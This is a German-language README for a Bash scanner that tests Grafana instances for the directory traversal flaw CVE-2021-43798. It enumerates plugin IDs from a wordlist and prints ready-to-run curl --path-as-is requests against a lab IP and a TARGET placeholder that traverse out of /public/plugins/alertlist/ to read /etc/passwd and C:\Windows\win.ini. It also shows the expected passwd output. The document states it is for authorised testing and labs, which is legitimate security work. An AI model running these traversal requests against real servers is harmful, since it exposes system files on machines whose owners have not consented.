Grafana CVE-2021-43798 Plugin Enumerator

Ein kleines Bash-basiertes Tool zum Testen von Grafana-Instanzen auf CVE-2021-43798, eine Directory-Traversal-Schwachstelle, die verwundbare Grafana-Versionen betrifft.

Das Tool zählt Grafana-Plugin-IDs auf und verwendet curl --path-as-is, um zu testen, ob Directory Traversal auf eine bekannte Datei zugreifen kann.

Nur für autorisierte Sicherheitstests und Laborumgebungen.

Dateien

.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md

• grafana-windows.sh: Testet den Zugriff auf C:\Windows\win.ini
• grafana-linux.sh: Testet den Zugriff auf /etc/passwd
• plugins.txt: Eine Wortliste mit Grafana-Plugin-IDs, die während der Enumeration verwendet wird.

Voraussetzungen

• Bash
• curl
• Ein Grafana-Ziel
• Berechtigung zum Testen des Ziels

Prüfen, ob curl installiert ist:

curl --version

Die Skripte ausführbar machen:

chmod +x grafana-windows.sh
chmod +x grafana-linux.sh

CVE-2021-43798 Übersicht

CVE-2021-43798 ist eine Directory-Traversal-Schwachstelle in Grafana.

Der verwundbare Endpunkt basiert auf: /public/plugins/<plugin-id>/

Die Schwachstelle kann Traversal außerhalb des vorgesehenen Plugin-Verzeichnisses ermöglichen.

Der wichtige Teil beim Testen mit curl ist: --path-as-is

Ohne diese Option kann der Client den Pfad normalisieren, bevor er an den Server gesendet wird.

Windows-Scanner

Der Windows-Scanner versucht, Folgendes abzurufen: C:\Windows\win.ini

Der Pfad wird in der HTTP-Anfrage dargestellt als: Windows/win.ini

Grundlegende Verwendung

./grafana-windows.sh \
    -u http://192.168.68.193:3000 \
    -w plugins.txt

Beispiel:

./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt

Manueller Windows-Test

Sie können ein Plugin manuell testen mit:

curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"

Für das Laborziel:

curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"

Eine erfolgreiche Antwort sollte den Inhalt der Windows-INI-Datei enthalten.

Linux-Scanner

Der Linux-Scanner versucht, Folgendes abzurufen: /etc/passwd

Grundlegende Verwendung

./grafana-linux.sh \
    -u http://192.168.68.193:3000 \
    -w plugins.txt

Allgemeines Beispiel:

./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt

Manueller Linux-Test

curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

Für das Laborziel:

curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

Eine erfolgreiche Linux-Antwort sollte Einträge ähnlich wie folgende enthalten:

root:x:0:0:root:/root:/bin/bash

Kommandozeilenoptionen

Beide Scanner verwenden dieselben grundlegenden Argumente:

• u, --url : Grafana-Basis-URL
• w, --wordlist : Plugin-Wortliste
• f, --file : Zu testende Datei
• h, --help : Hilfe anzeigen